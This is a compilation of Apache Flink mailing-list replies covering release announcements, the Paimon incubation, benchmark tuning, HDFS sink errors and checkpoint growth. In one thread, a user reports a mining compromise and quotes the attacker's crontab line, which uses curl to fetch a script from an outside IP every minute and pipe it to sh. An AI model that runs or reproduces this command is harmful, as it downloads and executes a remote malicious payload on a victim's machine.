Re: [ANNOUNCE] Apache Flink 1.19.0 released

[Yu Li]

Congrats and thanks all for the efforts!

Best Regards,
Yu

On Tue, 19 Mar 2024 at 11:51, gongzhongqiang  wrote:
>
> Congrats! Thanks to everyone involved!
>
> Best,
> Zhongqiang Gong
>
> Lincoln Lee  于2024年3月18日周一 16:27写道：
>>
>> The Apache Flink community is very happy to announce the release of Apache
>> Flink 1.19.0, which is the fisrt release for the Apache Flink 1.19 series.
>>
>> Apache Flink® is an open-source stream processing framework for
>> distributed, high-performing, always-available, and accurate data streaming
>> applications.
>>
>> The release is available for download at:
>> https://flink.apache.org/downloads.html
>>
>> Please check out the release blog post for an overview of the improvements
>> for this bugfix release:
>> https://flink.apache.org/2024/03/18/announcing-the-release-of-apache-flink-1.19/
>>
>> The full release notes are available in Jira:
>> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12315522=12353282
>>
>> We would like to thank all contributors of the Apache Flink community who
>> made this release possible!
>>
>>
>> Best,
>> Yun, Jing, Martijn and Lincoln

[ANNOUNCE] Flink Table Store Joins Apache Incubator as Apache Paimon(incubating)

[Yu Li]

Dear Flinkers,


As you may have noticed, we are pleased to announce that Flink Table
Store has joined the Apache Incubator as a separate project called
Apache Paimon(incubating) [1] [2] [3]. The new project still aims at
building a streaming data lake platform for high-speed data ingestion,
change data tracking and efficient real-time analytics, with the
vision of supporting a larger ecosystem and establishing a vibrant and
neutral open source community.


We would like to thank everyone for their great support and efforts
for the Flink Table Store project, and warmly welcome everyone to join
the development and activities of the new project. Apache Flink will
continue to be one of the first-class citizens supported by Paimon,
and we believe that the Flink and Paimon communities will maintain
close cooperation.


亲爱的Flinkers，


正如您可能已经注意到的，我们很高兴地宣布，Flink Table Store 已经正式加入 Apache
孵化器独立孵化 [1] [2] [3]。新项目的名字是
Apache 
Paimon(incubating)，仍致力于打造一个支持高速数据摄入、流式数据订阅和高效实时分析的新一代流式湖仓平台。此外，新项目将支持更加丰富的生态，并建立一个充满活力和中立的开源社区。


在这里我们要感谢大家对 Flink Table Store 项目的大力支持和投入，并热烈欢迎大家加入新项目的开发和社区活动。Apache Flink
将继续作为 Paimon 支持的主力计算引擎之一，我们也相信 Flink 和 Paimon 社区将继续保持密切合作。


Best Regards,

Yu (on behalf of the Apache Flink PMC and Apache Paimon PPMC)


致礼，

李钰（谨代表 Apache Flink PMC 和 Apache Paimon PPMC）


[1] https://paimon.apache.org/

[2] https://github.com/apache/incubator-paimon

[3] https://cwiki.apache.org/confluence/display/INCUBATOR/PaimonProposal

[ANNOUNCE] Call for Presentations for ApacheCon Asia 2022 streaming track

[Yu Li]

Hi everyone,

ApacheCon Asia [1] will feature the Streaming track for the second year.
Please don't hesitate to submit your proposal if there is an interesting
project or Flink experience you would like to share with us!

The conference will be online (virtual) and the talks will be pre-recorded.
The deadline of proposal submission is at the end of this month (May 31st).

See you all there :)

Best Regards,
Yu

[1] https://apachecon.com/acasia2022/cfp.html

Re: Flink OLAP 与 Trino TPC-DS 对比

[Yu Li]

感谢大家的分享和分析，也期待Flink在相关方向的持续优化！

Let's make Flink great together. :-)

btw, 第5个引用的语雀文档链接已过期，建议使用google doc并更新一下链接

Best Regards,
Yu


On Sun, 1 May 2022 at 21:57, Zhilong Hong  wrote:

> Hello,
>
> 这段时间我们针对 LuNing 反馈的问题进行了深入的分析调研，在此将结论同步给社区。特别感谢 LuNing 反馈这一问题并与我们一起进行分析排查。
>
> 根据我们的分析，造成 Flink 1.14 在 TPCDS 10G 数据集、2 节点集群规模的情况下，与 Trino 359
> 性能差距较大的原因主要包括以下 3 点：
>
> 1. 使用 SQL Client 提交 Flink 作业的耗时较长（单 query 约需要 4s）。在需要频繁提交作业的 OLAP
> 场景下，我们建议使用 Flink SQL Gateway 提交作业，避免重复创建 Client 进程、建立网络链接等额外开销。我们目前使用的是
> Ververica 开源的 SQL Gateway [1]，此外社区也正在准备推出官方的 SQL Gateway，详见 FLIP-91 [2]。
>
> 2. 测试使用的数据集比较小（10GiB），导致 Hive Source 根据数据量划分出的 Split 数也比较少。而 Split 是 Source
> 处理数据的最小单位，这就导致虽然看起来 Source 有 32 个并发，实际读取并处理数据的往往只有 1~2 个并发。此外，由于测试配置中关闭了
> Hive Source 的自动推断并发度功能 [3]，导致上下游的并发数相同并且被 chain
> 在一起，间接导致了下游算子实际处理数据的并发数也受到了影响。这一问题我们此前也发现过 [4]，但没有像在 10GiB 这么小的数据集上影响这么大。
>
> 3. 目前对于部分 TPCDS 测试集的 Query，Flink SQL 生成的执行计划不是最优，导致 Flink 实际处理的数据量比 Trino
> 要大。这与我们在大规模数据集上的观察是一致的，目前社区 SQL 模块的小伙伴们也在继续对这些 case 进行优化。
>
> 总的来看，上述 3 点中，第 2 点对 Flink 性能的影响是最大的。我们针对这一问题做了一定优化。打了 patch 后，尽管实际读取并处理数据的
> Hive Source 并发仍达不到配置的 32 并发，但与 Trino 的差距已大幅缩短，详见 [5]。
>
> 目前在 OLAP 场景下 Flink 与 Trino 确实还存在差距，社区目前也正在针对这一场景进行优化
> [6]。我们目前在阿里内部的开发分支上，已经追平了 Trino 的性能，相关优化预计会在 Flink 1.16、1.17 两个版本中陆续贡献回社区。
>
> Best,
> Zhilong Hong
>
> [1] https://github.com/ververica/flink-sql-gateway
> [2]
>
> https://cwiki.apache.org/confluence/display/FLINK/FLIP-91%3A+Support+SQL+Gateway
> [3]
>
> https://nightlies.apache.org/flink/flink-docs-master/docs/connectors/table/hive/hive_read_write/#source-parallelism-inference
> [4] https://issues.apache.org/jira/browse/FLINK-27338
> [5]
> https://www.yuque.com/docs/share/b89479ab-9c24-45c8-9390-77299ae0c4cd?#AkK9
> [6] https://issues.apache.org/jira/browse/FLINK-25318
>
> On Tue, Apr 19, 2022 at 5:43 PM LuNing Wang  wrote:
>
> >
> https://www.yuque.com/docs/share/8625d14b-d465-48a3-8dc1-0be32b138f34?#lUX6
> > 《tpcds-各引擎耗时》
> > 链接有效期至 2022-04-22 10:31:05
> >
> > LuNing Wong  于2022年4月18日周一 09:44写道：
> >
> > > 补充，用的Hive 3.1.2 Hadoop 3.1.0做的数据源。
> > >
> > > LuNing Wong  于2022年4月18日周一 09:42写道：
> > >
> > > > Flink版本是1.14.4,
> > Trino是359版本，tm.memory.process.size和CPU资源我都和Trino对齐了。都是32G
> > > > 16核 16线程，2台计算节点。
> > > >
> > > > Zhilong Hong  于2022年4月15日周五 18:21写道：
> > > >
> > > >> Hello, Luning!
> > > >>
> > > >>
> > > >>
> > >
> >
> 我们目前也正在关注Flink在OLAP场景的性能表现，请问你测试的Flink和Trino版本分别是什么呢？另外我看到flink-sql-benchmark中所使用的集群配置和你的不太一样，可能需要根据集群资源对flink-conf.yaml中taskmanager.memory.process.size等资源配置进行调整。
> > > >>
> > > >> Best,
> > > >> Zhilong
> > > >>
> > > >> On Fri, Apr 15, 2022 at 2:38 PM LuNing Wang 
> > > >> wrote:
> > > >>
> > > >> > 跑了100个 TPC-DS SQL
> > > >> > 10 GB 数据、2个Worker（TM）、每个32G内存，16个核心。
> > > >> > Flink平均用时 18秒
> > > >> > Trino平均用时 7秒
> > > >> >
> > > >> > 我看字节跳动和阿里的老师测试，Flink和presto
> > > >> OLAP性能接近，但是我测的差距很大。想进一步和老师交流下，是不是我Flink设置的有问题。
> > > >> > 我基本上是按照下面这个项目里模板配置的Flink相关参数。
> > > >> > https://github.com/ververica/flink-sql-benchmark
> > > >> >
> > > >> >
> > > >> > LuNing Wang  于2022年4月15日周五 14:34写道：
> > > >> >
> > > >> > > 跑了100个SQL
> > > >> > >
> > > >> >
> > > >>
> > > >
> > >
> >
>

Re: [ANNOUNCE] Apache Flink 1.13.2 released

[Yu Li]

Thanks Yun Tang for being our release manager and everyone else who made
the release possible!

Best Regards,
Yu


On Fri, 6 Aug 2021 at 13:52, Yun Tang  wrote:

>
> The Apache Flink community is very happy to announce the release of Apache
> Flink 1.13.2, which is the second bugfix release for the Apache Flink 1.13
> series.
>
> Apache Flink® is an open-source stream processing framework for
> distributed, high-performing, always-available, and accurate data streaming
> applications.
>
> The release is available for download at:
> https://flink.apache.org/downloads.html
>
> Please check out the release blog post for an overview of the improvements
> for this bugfix release:
> https://flink.apache.org/news/2021/08/06/release-1.13.2.html
>
> The full release notes are available in Jira:
>
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?version=12350218==12315522
>
> We would like to thank all contributors of the Apache Flink community who
> made this release possible!
>
> Regards,
> Yun Tang
>

Re: flink 1.12.2-rc2 被挖矿

[Yu Li]

Hi,

从上述描述上看，并不能确认是Flink的安全漏洞，建议进行更多测试，确认之后再向Flink社区报告。

近期已知的Flink安全漏洞包括CVE-2020-1960
,
CVE-2020-17518
和
CVE-2020-17519

 [1]，可以确认这些漏洞在1.12.2-rc2中已全部修复，且不存在regression。

Best Regards,
Yu

[1] https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=apache+flink


On Tue, 2 Mar 2021 at 09:48, macdoor  wrote:

> 我自己编译
> https://github.com/apache/flink/archive/release-1.12.2-rc2.tar.gz
> ，然后部署在了服务器上，为了更新操作系统补丁，绑定了公网ip，这时
> jobmanager 的 8081 端口就暴露在互联网上了，然后就有挖矿程序来了，在crontab 中增加了这行
> * * * * * curl http://195.3.146.118/spr.sh | sh > /dev/null 2>&1
>
> 之前使用 1.10时也遇到过类似情况，我记得 1.12 似乎没有这个问题了，所以这次没有留意，就过有发生了，我基本可以确定是 flink
> 引起的，因为服务器是全新安装的，只启动了 flink 进程
>
>
>
> --
> Sent from: http://apache-flink.147419.n8.nabble.com/

Re: flink 1.12.2-rc2 被挖矿

[Yu Li]

能再给一些细节吗？确认是Flink的问题导致的吗？怀疑的漏洞是哪个？

最近1.12.2 rc2正在release voting阶段，我们希望尽快确认是否存在安全漏洞并及时修复（如果有），谢谢。

Best Regards,
Yu


On Mon, 1 Mar 2021 at 13:26, macdoor  wrote:

> 我编译的flink 1.12.2-rc2 被挖矿，这个漏洞之前不是堵住了吗？
>
>
>
> --
> Sent from: http://apache-flink.147419.n8.nabble.com/
>

Re: [ANNOUNCE] Apache Flink 1.10.3 released

[Yu Li]

Thanks Xintong for being our release manager and everyone else who made the
release possible!

Best Regards,
Yu


On Fri, 29 Jan 2021 at 15:05, Xintong Song  wrote:

> The Apache Flink community is very happy to announce the release of Apache
> Flink 1.10.3, which is the third bugfix release for the Apache Flink 1.10
> series.
>
> Apache Flink® is an open-source stream processing framework for
> distributed, high-performing, always-available, and accurate data streaming
> applications.
>
> The release is available for download at:
> https://flink.apache.org/downloads.html
>
> Please check out the release blog post for an overview of the improvements
> for this bugfix release:
> https://flink.apache.org/news/2021/01/29/release-1.10.3.html
>
> The full release notes are available in Jira:
>
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12315522=12348668
>
> We would like to thank all contributors of the Apache Flink community who
> made this release possible!
>
> Regards,
> Xintong Song
>

Re: Flink对IoTDB的支持

[Yu Li]

暂时没有听到相关的计划，如果有相关需求，欢迎在社区发起讨论

@jincheng sun  金城老师看有没有什么补充？谢谢

Best Regards,
Yu


On Fri, 2 Oct 2020 at 19:21, milan183sansiro 
wrote:

> 请问社区有无对IoTDB的source或sink的支持计划
>
>

Re: [ANNOUNCE] Apache Flink 1.11.2 released

[Yu Li]

Thanks Zhu Zhu for being our release manager and everyone else who made the
release possible!

Best Regards,
Yu


On Thu, 17 Sep 2020 at 13:29, Zhu Zhu  wrote:

> The Apache Flink community is very happy to announce the release of Apache
> Flink 1.11.2, which is the second bugfix release for the Apache Flink 1.11
> series.
>
> Apache Flink® is an open-source stream processing framework for
> distributed, high-performing, always-available, and accurate data streaming
> applications.
>
> The release is available for download at:
> https://flink.apache.org/downloads.html
>
> Please check out the release blog post for an overview of the improvements
> for this bugfix release:
> https://flink.apache.org/news/2020/09/17/release-1.11.2.html
>
> The full release notes are available in Jira:
>
> https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12315522=12348575
>
> We would like to thank all contributors of the Apache Flink community who
> made this release possible!
>
> Thanks,
> Zhu
>

Re: Flink 1.10.1版本StreamingFileSink写入HDFS失败

[Yu Li]

Hi 王剑，

我认为你的分析是正确的，相关代码在超过lease的soft limit之后应该主动调用一下recover
lease的逻辑。你是否愿意提交一个patch来fix该问题？我在JIRA上也留言了，后续可以直接在JIRA上讨论。

另外，更正一下JIRA链接：https://issues.apache.org/jira/browse/FLINK-18592

Best Regards,
Yu


On Tue, 11 Aug 2020 at 15:16, Jian Wang  wrote:

> Hi all，
>
> 我们在使用flink-1.10.1 on YARN(版本:
> 3.0.0-cdh6.3.2)的时候，使用StreamingFileSink时遇到异常信息，详细信息如下：
>
> 代码部分：
>
> public static  StreamingFileSink build(String dir,
> BucketAssigner assigner, String prefix){
> return StreamingFileSink.forRowFormat(new Path(dir), new
> SimpleStringEncoder())
> .withRollingPolicy(
> DefaultRollingPolicy.builder()
> .withRolloverInterval(TimeUnit.HOURS.toMillis(2))
> .withInactivityInterval(TimeUnit.MINUTES.toMillis(10))
> .withMaxPartSize(1024L * 1024L * 1024L * 50) // Max 50GB
> .build()
> )
> .withBucketAssigner(assigner)
>
> .withOutputFileConfig(OutputFileConfig.builder().withPartPrefix(prefix).build())
> .build();
> }
>
>
> 当任务执行一段时间后，会抛出异常：
>
>
> java.io.IOException: Problem while truncating file:
>
> hdfs:///home/2020-08-11/.home-69-71.inprogress.29cb86c7-a943-411f-aa22-6d12692ae523
> at
>
> org.apache.flink.runtime.fs.hdfs.HadoopRecoverableFsDataOutputStream.safelyTruncateFile(HadoopRecoverableFsDataOutputStream.java:168)
> at
>
> org.apache.flink.runtime.fs.hdfs.HadoopRecoverableFsDataOutputStream.(HadoopRecoverableFsDataOutputStream.java:91)
> at
>
> org.apache.flink.runtime.fs.hdfs.HadoopRecoverableWriter.recover(HadoopRecoverableWriter.java:83)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.Bucket.restoreInProgressFile(Bucket.java:144)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.Bucket.(Bucket.java:131)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.Bucket.restore(Bucket.java:407)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.DefaultBucketFactoryImpl.restoreBucket(DefaultBucketFactoryImpl.java:67)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.Buckets.handleRestoredBucketState(Buckets.java:182)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.Buckets.initializeActiveBuckets(Buckets.java:170)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.Buckets.initializeState(Buckets.java:154)
> at
>
> org.apache.flink.streaming.api.functions.sink.filesystem.StreamingFileSink.initializeState(StreamingFileSink.java:434)
> at
>
> org.apache.flink.streaming.util.functions.StreamingFunctionUtils.tryRestoreFunction(StreamingFunctionUtils.java:178)
> at
>
> org.apache.flink.streaming.util.functions.StreamingFunctionUtils.restoreFunctionState(StreamingFunctionUtils.java:160)
> at
>
> org.apache.flink.streaming.api.operators.AbstractUdfStreamOperator.initializeState(AbstractUdfStreamOperator.java:96)
> at
>
> org.apache.flink.streaming.api.operators.AbstractStreamOperator.initializeState(AbstractStreamOperator.java:284)
> at
>
> org.apache.flink.streaming.runtime.tasks.StreamTask.initializeStateAndOpen(StreamTask.java:989)
> at
>
> org.apache.flink.streaming.runtime.tasks.StreamTask.lambda$beforeInvoke$0(StreamTask.java:453)
> at
>
> org.apache.flink.streaming.runtime.tasks.StreamTaskActionExecutor$SynchronizedStreamTaskActionExecutor.runThrowing(StreamTaskActionExecutor.java:94)
> at
>
> org.apache.flink.streaming.runtime.tasks.StreamTask.beforeInvoke(StreamTask.java:448)
> at
>
> org.apache.flink.streaming.runtime.tasks.StreamTask.invoke(StreamTask.java:460)
> at org.apache.flink.runtime.taskmanager.Task.doRun(Task.java:708)
> at org.apache.flink.runtime.taskmanager.Task.run(Task.java:533)
> at java.lang.Thread.run(Thread.java:748)
> Caused by:
>
> org.apache.hadoop.ipc.RemoteException(org.apache.hadoop.hdfs.protocol.AlreadyBeingCreatedException):
> Failed to TRUNCATE_FILE
>
> /home/2020-08-11/.shop_home_recommend-69-71.inprogress.29cb86c7-a943-411f-aa22-6d12692ae523
> for DFSClient_NONMAPREDUCE_-1035692182_1 on 10.131.79.228 because
> DFSClient_NONMAPREDUCE_-1035692182_1 is already the current lease holder.
> at
>
> org.apache.hadoop.hdfs.server.namenode.FSNamesystem.recoverLeaseInternal(FSNamesystem.java:2522)
> at
>
> org.apache.hadoop.hdfs.server.namenode.FSDirTruncateOp.truncate(FSDirTruncateOp.java:119)
> at
>
> org.apache.hadoop.hdfs.server.namenode.FSNamesystem.truncate(FSNamesystem.java:2091)
> at
>
> org.apache.hadoop.hdfs.server.namenode.NameNodeRpcServer.truncate(NameNodeRpcServer.java:1070)
> at
>
> org.apache.hadoop.hdfs.protocolPB.ClientNamenodeProtocolServerSideTranslatorPB.truncate(ClientNamenodeProtocolServerSideTranslatorPB.java:669)
> at
>
> org.apache.hadoop.hdfs.protocol.proto.ClientNamenodeProtocolProtos$ClientNamenodeProtocol$2.callBlockingMethod(ClientNamenodeProtocolProtos.java)
> at
>
> org.apache.hadoop.ipc.ProtobufRpcEngine$Server$ProtoBufRpcInvoker.call(ProtobufRpcEngine.java:523)
> at org.apache.hadoop.ipc.RPC$Server.call(RPC.java:991)
> at 

Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后 状态越来越大

[Yu Li]

看到生产上使用的还是1.8.2版本，请问同样的作业使用1.8.2的表现是怎样的？

Best Regards,
Yu


On Thu, 6 Aug 2020 at 16:29, op <520075...@qq.com> wrote:

> 感谢回答
> 我之前用1.10也有同样的问题
>
>
>
>
> --原始邮件--
> 发件人:
>   "user-zh"
> <
> car...@gmail.com;
> 发送时间:2020年8月6日(星期四) 下午4:01
> 收件人:"user-zh"
> 主题:Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后 状态越来越大
>
>
>
> @鱼子酱
>
> 请问同样的作业，都使用RocksDB增量checkpoint，在1.8.2版本和1.11.1版本下的表现是否一致？还是说只有1.11.1版本下增量大小会单调增加？
>
> @op 类似的问题，请问使用FsStateBackend，是否在不同Flink版本下测试过？表现是否一致？
>
> 上述问题主要想确认一下新版本的表现和旧版本是否一致，如果不一致则有可能是新版本中引入的bug。谢谢。
>
> Best Regards,
> Yu
>
>
> On Thu, 6 Aug 2020 at 13:52, Congxian Qiu  wrote:
>
>  Hi
>  我这边没有看到相关的附件，不确定是邮件客户端的问题还是其他什么，你那边能否再确认下 附件
> 的发送情况呢？
> 
>  Best,
>  Congxian
> 
> 
>  op <520075...@qq.com 于2020年8月6日周四 上午10:36写道：
> 
>   感谢 ， 截图和配置在附件里面
>   我试试配置 RocksDB StateBackend
>  
>  
>   -- 原始邮件 --
>   *发件人:* "user-zh"*发送时间:* 2020年8月5日(星期三) 下午5:43
>   *收件人:* "user-zh"   *主题:* Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后 状态越来越大
>  
>   Hi
>   RocksDB StateBackend 只需要在 flink-conf 中进行一下配置就行了[1].
>  
>   另外从你前面两份邮件看，我有些信息比较疑惑，你能否贴一下现在使用的 flink-conf，以及
> checkpoint UI 的截图，以及
>  HDFS
>   上 checkpoint 目录的截图
>  
>   [1]
>  
>  
> 
> https://ci.apache.org/projects/flink/flink-docs-release-1.11/zh/ops/state/state_backends.html#%E8%AE%BE%E7%BD%AE-state-backend
> 
> ;
> 
>   Best,
>   Congxian
>  
>  
>   op <520075...@qq.com 于2020年8月5日周三 下午4:03写道：
>  
>你好，ttl配置是
>val settings =
>   EnvironmentSettings.newInstance().inStreamingMode().build()
>val tableEnv = StreamTableEnvironment.create(bsEnv,
> settings)
>val tConfig = tableEnv.getConfig
>tConfig.setIdleStateRetentionTime(Time.minutes(1440),
>  Time.minutes(1450))
>   
>   
>nbsp; nbsp; 1)目前是有3个任务都是这种情况
>nbsp; nbsp; 2)目前集群没有RocksDB环境
>谢谢
>--nbsp;原始邮件nbsp;--
>发件人:
>  
> 
> "user-zh"
>  
> 
> <
>qcx978132...@gmail.comgt;;
>发送时间:nbsp;2020年8月5日(星期三) 下午3:30
>收件人:nbsp;"user-zh"   
>主题:nbsp;Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口
> 操作后 状态越来越大
>   
>   
>   
>Hi op
>nbsp;nbsp; 这个情况比较奇怪。我想确认下：
>nbsp;nbsp; 1）你所有作业都遇到 checkpoint size
> 不断变大的情况，还是只有这个类型的作业遇到这个问题呢？
>nbsp;nbsp; 2）是否尝试过 RocksDBStateBackend
> 呢（全量和增量）？情况如何呢
>   
>nbsp;nbsp; 另外，你 TTL 其他的配置是怎么设置的呢？
>   
>从原理上来说，checkpoint 就是 state 的一个快照，如果 checkpoint 越来越大，那么就是
> state 越来越多。
>Best,
>Congxian
>   
>   
>op <520075...@qq.comgt; 于2020年8月5日周三 下午2:46写道：
>   
>gt; amp;nbsp; amp;nbsp;
>gt;
>   
>  
> 
> 你好，我使用的是FsStateBackendamp;nbsp;状态后端，调到5分钟也是一样，看了下checkpoint花费的时间都在300ms左右，我们的业务数据量每天基本一样，
>gt; amp;nbsp;
>   
> amp;nbsp;设置空闲状态清理时间为1440minute，按道理运行一天以后状态大小会趋于平稳，但是目前运行了5天，
>gt; amp;nbsp; amp;nbsp;观察到的checkpoint shared
> 目录大小一直在增加，也确认过group
>gt; by的key只会在处理当天出现，就是说这天的状态当天过后就会处于空闲状态，
>gt; amp;nbsp; amp;nbsp;运行5天能满足清理条件
>gt;
>gt;
>gt;
>gt;
>gt; -- 原始邮件 --
>gt; 发件人:
>   
>  
> 
> gt;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;
>"user-zh"
>   
>  
> 
> gt;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;
><
>gt; qcx978132...@gmail.comamp;gt;;
>gt; 发送时间:amp;nbsp;2020年8月3日(星期一) 下午5:50
>gt; 收件人:amp;nbsp;"user-zh"<
> user-zh@flink.apache.orgamp;gt;;
>gt;
>gt; 主题:amp;nbsp;Re: flink1.10.1/1.11.1 使用sql
> 进行group 和 时间窗口 操作后
>  状态越来越大
>gt;
>gt;
>gt;
>gt; Hi
>gt; amp;nbsp;amp;nbsp; 能否把 checkpoint 的
> interval 调长一点再看看是否稳定呢？从
>  shared
>gt; 目录的数据量看，有增长，后续基本持平。现在
>gt; Checkpointed Data Size 是增量的大小[1]，而不是整个 checkpoint
> 的数据量的大小，如果
>checkpoint
>gt; 之间，数据改动很多的话，这个值会变大
>gt;
>gt; [1]
>gt;
>gt;
>   
>  
> 
> https://ci.apache.org/projects/flink/flink-docs-release-1.11/zh/ops/state/state_backends.html#%E5%A2%9E%E9%87%8F%E5%BF%AB%E7%85%A7
> 
> ;
>   gt
><
>  
> 
> https://ci.apache.org/projects/flink/flink-docs-release-1.11/zh/ops/state/state_backends.html#%E5%A2%9E%E9%87%8F%E5%BF%AB%E7%85%A7gt
> 
> 

Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后 状态越来越大

[Yu Li]

@鱼子酱
请问同样的作业，都使用RocksDB增量checkpoint，在1.8.2版本和1.11.1版本下的表现是否一致？还是说只有1.11.1版本下增量大小会单调增加？

@op 类似的问题，请问使用FsStateBackend，是否在不同Flink版本下测试过？表现是否一致？

上述问题主要想确认一下新版本的表现和旧版本是否一致，如果不一致则有可能是新版本中引入的bug。谢谢。

Best Regards,
Yu


On Thu, 6 Aug 2020 at 13:52, Congxian Qiu  wrote:

> Hi
> 我这边没有看到相关的附件，不确定是邮件客户端的问题还是其他什么，你那边能否再确认下 附件 的发送情况呢？
>
> Best,
> Congxian
>
>
> op <520075...@qq.com> 于2020年8月6日周四 上午10:36写道：
>
> >感谢 ，  截图和配置在附件里面
> >   我试试配置  RocksDB StateBackend
> >
> >
> > -- 原始邮件 --
> > *发件人:* "user-zh" ;
> > *发送时间:* 2020年8月5日(星期三) 下午5:43
> > *收件人:* "user-zh";
> > *主题:* Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后 状态越来越大
> >
> > Hi
> >   RocksDB StateBackend 只需要在 flink-conf 中进行一下配置就行了[1].
> >
> >   另外从你前面两份邮件看，我有些信息比较疑惑，你能否贴一下现在使用的 flink-conf，以及 checkpoint UI 的截图，以及
> HDFS
> > 上 checkpoint 目录的截图
> >
> > [1]
> >
> >
> https://ci.apache.org/projects/flink/flink-docs-release-1.11/zh/ops/state/state_backends.html#%E8%AE%BE%E7%BD%AE-state-backend
> >
> > Best,
> > Congxian
> >
> >
> > op <520075...@qq.com> 于2020年8月5日周三 下午4:03写道：
> >
> > > 你好，ttl配置是
> > > val settings =
> > EnvironmentSettings.newInstance().inStreamingMode().build()
> > > val tableEnv = StreamTableEnvironment.create(bsEnv, settings)
> > > val tConfig = tableEnv.getConfig
> > > tConfig.setIdleStateRetentionTime(Time.minutes(1440),
> Time.minutes(1450))
> > >
> > >
> > >   1)目前是有3个任务都是这种情况
> > >   2)目前集群没有RocksDB环境
> > > 谢谢
> > > --原始邮件--
> > > 发件人:
> > >   "user-zh"
> > > <
> > > qcx978132...@gmail.com;
> > > 发送时间:2020年8月5日(星期三) 下午3:30
> > > 收件人:"user-zh" > >
> > > 主题:Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后 状态越来越大
> > >
> > >
> > >
> > > Hi op
> > >  这个情况比较奇怪。我想确认下：
> > >  1）你所有作业都遇到 checkpoint size 不断变大的情况，还是只有这个类型的作业遇到这个问题呢？
> > >  2）是否尝试过 RocksDBStateBackend 呢（全量和增量）？情况如何呢
> > >
> > >  另外，你 TTL 其他的配置是怎么设置的呢？
> > >
> > > 从原理上来说，checkpoint 就是 state 的一个快照，如果 checkpoint 越来越大，那么就是 state 越来越多。
> > > Best,
> > > Congxian
> > >
> > >
> > > op <520075...@qq.com 于2020年8月5日周三 下午2:46写道：
> > >
> > >  nbsp; nbsp;
> > > 
> > >
> >
> 你好，我使用的是FsStateBackendnbsp;状态后端，调到5分钟也是一样，看了下checkpoint花费的时间都在300ms左右，我们的业务数据量每天基本一样，
> > >  nbsp;
> > > nbsp;设置空闲状态清理时间为1440minute，按道理运行一天以后状态大小会趋于平稳，但是目前运行了5天，
> > >  nbsp; nbsp;观察到的checkpoint shared 目录大小一直在增加，也确认过group
> > >  by的key只会在处理当天出现，就是说这天的状态当天过后就会处于空闲状态，
> > >  nbsp; nbsp;运行5天能满足清理条件
> > > 
> > > 
> > > 
> > > 
> > >  -- 原始邮件 --
> > >  发件人:
> > >
> >
> 
> > > "user-zh"
> > >
> >
> 
> > > <
> > >  qcx978132...@gmail.comgt;;
> > >  发送时间:nbsp;2020年8月3日(星期一) 下午5:50
> > >  收件人:nbsp;"user-zh" > > 
> > >  主题:nbsp;Re: flink1.10.1/1.11.1 使用sql 进行group 和 时间窗口 操作后
> 状态越来越大
> > > 
> > > 
> > > 
> > >  Hi
> > >  nbsp;nbsp; 能否把 checkpoint 的 interval 调长一点再看看是否稳定呢？从
> shared
> > >  目录的数据量看，有增长，后续基本持平。现在
> > >  Checkpointed Data Size 是增量的大小[1]，而不是整个 checkpoint 的数据量的大小，如果
> > > checkpoint
> > >  之间，数据改动很多的话，这个值会变大
> > > 
> > >  [1]
> > > 
> > > 
> > >
> >
> https://ci.apache.org/projects/flink/flink-docs-release-1.11/zh/ops/state/state_backends.html#%E5%A2%9E%E9%87%8F%E5%BF%AB%E7%85%A7
> > > 
> > > <
> >
> https://ci.apache.org/projects/flink/flink-docs-release-1.11/zh/ops/state/state_backends.html#%E5%A2%9E%E9%87%8F%E5%BF%AB%E7%85%A7
> > >;
> > > Best,
> > >  Congxian
> > > 
> > > 
> > >  op <520075...@qq.comgt; 于2020年8月3日周一 下午2:18写道：
> > > 
> > >  gt; amp;nbsp; amp;nbsp;
> > >  gt;
> > > 同问，我也遇到了状态越来越大的情况，使用的是1.11.0版本，用hdfs保存checkpoint，checkpoint间隔3分钟，
> > >  gt; 逻辑是按照 事件day 和 id 进行groupby
> > >  gt; 然后有十几个聚合指标，运行了7天左右，状态一直在增加，设置了失效时间，然后watermark看着也正常在走
> > >  gt; tConfig.setIdleStateRetentionTime(Time.minutes(1440),
> > >  gt; Time.minutes(1440+10))
> > >  gt;
> > >  gt;
> > >  gt;
> > >  gt;
> > >  gt;
> > > --amp;nbsp;原始邮件amp;nbsp;--
> > >  gt; 发件人:
> > > 
> > >
> >
